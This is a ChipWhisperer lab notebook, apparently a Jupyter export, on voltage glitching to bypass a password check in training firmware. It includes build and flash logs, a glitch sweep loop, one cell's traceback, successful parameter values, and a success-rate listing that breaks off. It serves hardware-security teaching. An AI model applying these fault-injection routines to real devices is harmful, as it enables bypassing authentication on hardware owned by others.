Part 2, Topic 2: Voltage Glitching to Bypass Password¶
NOTE: This lab references some (commercial) training material on ChipWhisperer.io. You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.
SUMMARY: We've seen how voltage glitching can be used to corrupt calculations, just like clock glitching. Let's continue on and see if it can also be used to break past a password check.
LEARNING OUTCOMES:
- Applying previous glitch settings to new firmware
- Checking for success and failure when glitching
Firmware¶
Again, we've already covered this lab, so it'll be mostly up to you!
SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER = 'SS_VER_2_1'
VERSION = 'HARDWARE'
CRYPTO_TARGET = 'TINYAES128C'
allowable_exceptions = None
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
import chipwhisperer as cw
try:
if not scope.connectStatus:
scope.con()
except NameError:
scope = cw.scope(hw_location=(5, 3))
try:
if SS_VER == "SS_VER_2_1":
target_type = cw.targets.SimpleSerial2
elif SS_VER == "SS_VER_2_0":
raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
else:
target_type = cw.targets.SimpleSerial
except:
SS_VER="SS_VER_1_1"
target_type = cw.targets.SimpleSerial
try:
target = cw.target(scope, target_type)
except:
print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
scope = cw.scope(hw_location=(5, 3))
target = cw.target(scope, target_type)
print("INFO: Found ChipWhisperer😍")
# In[ ]:
if "STM" in PLATFORM or PLATFORM == "CWLITEARM" or PLATFORM == "CWNANO":
prog = cw.programmers.STM32FProgrammer
elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
prog = cw.programmers.XMEGAProgrammer
elif "neorv32" in PLATFORM.lower():
prog = cw.programmers.NEORV32Programmer
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
prog = cw.programmers.SAM4SProgrammer
else:
prog = None
# In[ ]:
import time
time.sleep(0.05)
scope.default_setup()
def reset_target(scope):
if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
scope.io.pdic = 'low'
time.sleep(0.1)
scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
time.sleep(0.1) #xmega needs more startup time
elif "neorv32" in PLATFORM.lower():
raise IOError("Default iCE40 neorv32 build does not have external reset - reprogram device to reset")
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
scope.io.nrst = 'low'
time.sleep(0.25)
scope.io.nrst = 'high_z'
time.sleep(0.25)
else:
scope.io.nrst = 'low'
time.sleep(0.05)
scope.io.nrst = 'high_z'
time.sleep(0.05)
INFO: Found ChipWhisperer😍
scope.gain.mode changed from low to high scope.gain.gain changed from 0 to 30 scope.gain.db changed from 5.5 to 24.8359375 scope.adc.basic_mode changed from low to rising_edge scope.adc.samples changed from 24400 to 5000 scope.adc.trig_count changed from 31634870 to 42650489 scope.clock.adc_src changed from clkgen_x1 to clkgen_x4 scope.clock.adc_freq changed from 69066352 to 29912670 scope.clock.adc_rate changed from 69066352.0 to 29912670.0 scope.clock.clkgen_div changed from 1 to 26 scope.clock.clkgen_freq changed from 192000000.0 to 7384615.384615385 scope.io.tio1 changed from serial_tx to serial_rx scope.io.tio2 changed from serial_rx to serial_tx scope.io.hs2 changed from None to clkgen scope.glitch.mmcm_locked changed from True to False
%%bash -s "$PLATFORM" "$SS_VER"
cd ../../../firmware/mcu/simpleserial-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j
SS_VER set to SS_VER_2_1
SS_VER set to SS_VER_2_1
arm-none-eabi-gcc (15:9-2019-q4-0ubuntu1) 9.2.1 20191025 (release) [ARM/arm-9-branch revision 277599]
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
mkdir -p objdir-CWLITEARM
.
Welcome to another exciting ChipWhisperer target build!!
.
.
.
Compiling:
Compiling:
Compiling:
-en simpleserial-glitch.c ...
-en .././simpleserial/simpleserial.c ...
-en .././hal//stm32f3/stm32f3_hal.c ...
.
.
Compiling:
Compiling:
-en .././hal//stm32f3/stm32f3_hal_lowlevel.c ...
-en .././hal//stm32f3/stm32f3_sysmem.c ...
.
Assembling: .././hal//stm32f3/stm32f3_startup.S
arm-none-eabi-gcc -c -mcpu=cortex-m4 -I. -x assembler-with-cpp -mthumb -mfloat-abi=soft -fmessage-length=0 -ffunction-sections -DF_CPU=7372800 -Wa,-gstabs,-adhlns=objdir-CWLITEARM/stm32f3_startup.lst -I.././simpleserial/ -I.././hal/ -I.././hal/ -I.././hal//stm32f3 -I.././hal//stm32f3/CMSIS -I.././hal//stm32f3/CMSIS/core -I.././hal//stm32f3/CMSIS/device -I.././hal//stm32f4/Legacy -I.././simpleserial/ -I.././crypto/ .././hal//stm32f3/stm32f3_startup.S -o objdir-CWLITEARM/stm32f3_startup.o
-e Done!
-e Done!
-e Done!
-e Done!
-e Done!
.
LINKING:
-en simpleserial-glitch-CWLITEARM.elf ...
-e Done!
.
.
.
Creating load file for Flash: simpleserial-glitch-CWLITEARM.hex
arm-none-eabi-objcopy -O ihex -R .eeprom -R .fuse -R .lock -R .signature simpleserial-glitch-CWLITEARM.elf simpleserial-glitch-CWLITEARM.hex
Creating load file for Flash: simpleserial-glitch-CWLITEARM.bin
Creating load file for EEPROM: simpleserial-glitch-CWLITEARM.eep
arm-none-eabi-objcopy -O binary -R .eeprom -R .fuse -R .lock -R .signature simpleserial-glitch-CWLITEARM.elf simpleserial-glitch-CWLITEARM.bin
arm-none-eabi-objcopy -j .eeprom --set-section-flags=.eeprom="alloc,load" \
--change-section-lma .eeprom=0 --no-change-warnings -O ihex simpleserial-glitch-CWLITEARM.elf simpleserial-glitch-CWLITEARM.eep || exit 0
.
.
Creating Extended Listing: simpleserial-glitch-CWLITEARM.lss
arm-none-eabi-objdump -h -S -z simpleserial-glitch-CWLITEARM.elf > simpleserial-glitch-CWLITEARM.lss
Creating Symbol Table: simpleserial-glitch-CWLITEARM.sym
arm-none-eabi-nm -n simpleserial-glitch-CWLITEARM.elf > simpleserial-glitch-CWLITEARM.sym
Size after:
text data bss dec hex filename
5524 8 1368 6900 1af4 simpleserial-glitch-CWLITEARM.elf
+--------------------------------------------------------
+ Default target does full rebuild each time.
+ Specify buildtarget == allquick == to avoid full rebuild
+--------------------------------------------------------
+--------------------------------------------------------
+ Built for platform CW-Lite Arm \(STM32F3\) with:
+ CRYPTO_TARGET = NONE
+ CRYPTO_OPTIONS =
+--------------------------------------------------------
fw_path = "../../../firmware/mcu/simpleserial-glitch/simpleserial-glitch-{}.hex".format(PLATFORM)
cw.program_target(scope, prog, fw_path)
if SS_VER=="SS_VER_2_1":
target.reset_comms()
Detected known STMF32: STM32F302xB(C)/303xB(C) Extended erase (0x44), this can take ten seconds or more Attempting to program 5531 bytes at 0x8000000 STM32F Programming flash...
STM32F Reading flash...
Verified flash OK, 5531 bytes
def reboot_flush():
reset_target(scope)
target.flush()
if PLATFORM == "CWLITEXMEGA":
scope.clock.clkgen_freq = 32E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*32/7.37
else:
target.baud = 38400*32/7.37
elif (PLATFORM == "CWLITEARM") or ("F3" in PLATFORM):
scope.clock.clkgen_freq = 24E6
if SS_VER=='SS_VER_2_1':
target.baud = 230400*24/7.37
else:
target.baud = 38400*24/7.37
#Do glitch loop
reboot_flush()
pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68])
target.simpleserial_write('p', pw)
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
valid = val['valid']
if valid:
response = val['payload']
raw_serial = val['full_response']
error_code = val['rv']
print(val)
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')}
Like with clock glitching, the scope object can set some typical glitch settings for you, with the additional requirement of specifying the transistor to use for glitching ('both'
, 'lp'
, and 'hp'
):
if scope._is_husky:
scope.vglitch_setup('hp', default_setup=False)
else:
scope.vglitch_setup('both', default_setup=False) # use both transistors
gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset"])
gc.display_stats()
gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None})
gc.set_range("ext_offset", 0, 150)
if scope._is_husky:
gc.set_range("width", 1900, 1901)
gc.set_range("offset", 2000, 2500)
gc.set_global_step([50])
gc.set_step("ext_offset", 1)
else:
if PLATFORM=="CWLITEXMEGA":
gc.set_range("width", 43.5, 47.8)
gc.set_range("offset", -48, -10)
#gc.set_range("ext_offset", 7, 10)
gc.set_range("ext_offset", 30, 45)
scope.glitch.repeat = 11
elif PLATFORM == "CWLITEARM":
#should also work for the bootloader memory dump
gc.set_range("width", 30.7, 36)
gc.set_range("offset", -40, -35)
scope.glitch.repeat = 7
elif PLATFORM == "CW308_STM32F3":
#these specific settings seem to work well for some reason
#also works for the bootloader memory dump
gc.set_range("ext_offset", 11, 31)
gc.set_range("width", 47.6, 49.6)
gc.set_range("offset", -19, -21.5)
scope.glitch.repeat = 5
gc.set_step("ext_offset", 1)
--------------------------------------------------------------------------- AttributeError Traceback (most recent call last) Cell In[10], line 27 24 gc.set_range("offset", -19, -21.5) 25 scope.glitch.repeat = 5 ---> 27 gc.set_step("ext_offset", 1) File ~/chipwhisperer/software/chipwhisperer/common/results/glitch.py:193, in GlitchController.set_step(self, parameter, step) 191 self.steps[parameter] = step 192 else: --> 193 self.steps[parameter] = [step] * self._num_steps AttributeError: 'GlitchController' object has no attribute '_num_steps'
#disable logging
cw.set_all_log_levels(cw.logging.CRITICAL)
scope.adc.timeout = 0.1
successes = 0
reboot_flush()
for glitch_settings in gc.glitch_values():
scope.glitch.offset = glitch_settings[1]
scope.glitch.width = glitch_settings[0]
scope.glitch.ext_offset = glitch_settings[2]
if scope.adc.state:
# can detect crash here (fast) before timing out (slow)
#print("Trigger still high!")
gc.add("reset")
reboot_flush()
scope.arm()
target.simpleserial_write('p', bytearray([0]*5))
ret = scope.capture()
scope.io.vglitch_reset()
if ret:
#print('Timeout - no trigger')
gc.add("reset")
#Device is slow to boot?
reboot_flush()
else:
val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10, timeout=50)#For loop check
if val['valid'] is False:
gc.add("reset")
else:
if val['payload'] == bytearray([1]): #for loop check
successes +=1
gc.add("success")
print(val)
print(val['payload'])
print(scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset)
print("🐙", end="")
else:
gc.add("normal")
#reenable logging
cw.set_all_log_levels(cw.logging.WARNING)
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 34.765625 -37.109375 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 34.765625 -35.9375 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 35.546875 -39.84375 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 35.546875 -39.0625 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 35.546875 -37.890625 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 35.546875 -35.9375 39 🐙
{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': CWbytearray(b'00 72 01 01 d4 00'), 'rv': bytearray(b'\x00')} CWbytearray(b'01') 35.546875 -35.15625 39 🐙
Let's see where we needed to target for our glitch to work:
gc.calc(["width", "offset"], "success_rate")
[((39,), {'total': 36, 'success': 7, 'success_rate': 0.19444444444444445, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((150,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((149,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((148,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((147,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 7, 'reset_rate': 0.19444444444444445, 'normal': 29, 'normal_rate': 0.8055555555555556}), ((146,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((145,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 11, 'reset_rate': 0.3055555555555556, 'normal': 25, 'normal_rate': 0.6944444444444444}), ((144,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((143,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((142,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((141,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((140,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((139,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((138,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((137,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((136,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((135,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((134,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((133,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((132,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((131,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((130,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((129,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((128,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((127,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((126,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((125,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((124,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((123,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((122,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((121,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((120,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((119,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((118,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((117,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((116,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((115,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((114,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((113,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((112,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((111,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((110,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((109,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((108,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((107,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((106,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((105,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.2777777777777778, 'normal': 26, 'normal_rate': 0.7222222222222222}), ((104,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((103,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((102,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((101,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 7, 'reset_rate': 0.19444444444444445, 'normal': 29, 'normal_rate': 0.8055555555555556}), ((100,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.2777777777777778, 'normal': 26, 'normal_rate': 0.7222222222222222}), ((99,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((98,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((97,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((96,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((95,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 9, 'reset_rate': 0.25, 'normal': 27, 'normal_rate': 0.75}), ((94,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((93,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((92,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((91,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((90,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((89,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1388888888888889, 'normal': 31, 'normal_rate': 0.8611111111111112}), ((88,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((87,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((86,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((85,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((84,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 6, 'reset_rate': 0.16666666666666666, 'normal': 30, 'normal_rate': 0.8333333333333334}), ((83,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((82,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((81,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 11, 'reset_rate': 0.3055555555555556, 'normal': 25, 'normal_rate': 0.6944444444444444}), ((80,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 11, 'reset_rate': 0.3055555555555556, 'normal': 25, 'normal_rate': 0.6944444444444444}), ((79,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((78,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((77,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((76,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((75,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.027777777777777776, 'normal': 35, 'normal_rate': 0.9722222222222222}), ((74,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((73,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((72,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((71,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((70,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((69,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.2222222222222222, 'normal': 28, 'normal_rate': 0.7777777777777778}), ((68,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((67,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((66,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((65,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((64,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((63,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.2777777777777778, 'normal': 26, 'normal_rate': 0.7222222222222222}), ((62,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 10, 'reset_rate': 0.2777777777777778, 'normal': 26, 'normal_rate': 0.7222222222222222}), ((61,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((60,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((59,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((58,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 3, 'reset_rate': 0.08333333333333333, 'normal': 33, 'normal_rate': 0.9166666666666666}), ((57,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 3, 'reset_rate': 0.08333333333333333, 'normal': 33, 'normal_rate': 0.9166666666666666}), ((56,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((55,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 12, 'reset_rate': 0.3333333333333333, 'normal': 24, 'normal_rate': 0.6666666666666666}), ((54,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((53,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.02702702702702703, 'normal': 36, 'normal_rate': 0.972972972972973}), ((52,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 2, 'reset_rate': 0.05405405405405406, 'normal': 35, 'normal_rate': 0.9459459459459459}), ((51,), {'total': 39, 'success': 0, 'success_rate': 0.0, 'reset': 4, 'reset_rate': 0.10256410256410256, 'normal': 35, 'normal_rate': 0.8974358974358975}), ((50,), {'total': 52, 'success': 0, 'success_rate': 0.0, 'reset': 19, 'reset_rate': 0.36538461538461536, 'normal': 33, 'normal_rate': 0.6346153846153846}), ((49,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 7, 'reset_rate': 0.19444444444444445, 'normal': 29, 'normal_rate': 0.8055555555555556}), ((48,), {'total': 38, 'success': 0, 'success_rate': 0.0, 'reset': 2, 'reset_rate': 0.05263157894736842, 'normal': 36, 'normal_rate': 0.9473684210526315}), ((47,), {'total': 39, 'success': 0, 'success_rate': 0.0, 'reset': 5, 'reset_rate': 0.1282051282051282, 'normal': 34, 'normal_rate': 0.8717948717948718}), ((46,), {'total': 41, 'success': 0, 'success_rate': 0.0, 'reset': 8, 'reset_rate': 0.1951219512195122, 'normal': 33, 'normal_rate': 0.8048780487804879}), ((45,), {'total': 48, 'success': 0, 'success_rate': 0.0, 'reset': 17, 'reset_rate': 0.3541666666666667, 'normal': 31, 'normal_rate': 0.6458333333333334}), ((44,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 4, 'reset_rate': 0.1111111111111111, 'normal': 32, 'normal_rate': 0.8888888888888888}), ((43,), {'total': 36, 'success': 0, 'success_rate': 0.0, 'reset': 0, 'reset_rate': 0.0, 'normal': 36, 'normal_rate': 1.0}), ((42,), {'total': 37, 'success': 0, 'success_rate': 0.0, 'reset': 1, 'reset_rate': 0.02702702702702703, 'normal': 36, 'normal_rate': 0.972972972972973}), ((41,), {'total': 38, 'success': 0, 'success_rate': 0.0, 'reset': 3, 'reset_rate': 0.07894736842105263, 'normal': 35, 'normal_rate': 0.9210526315789473}), ((40,), {'total': 47, 'success': 0, 'success_rate': 0.0, 'reset': 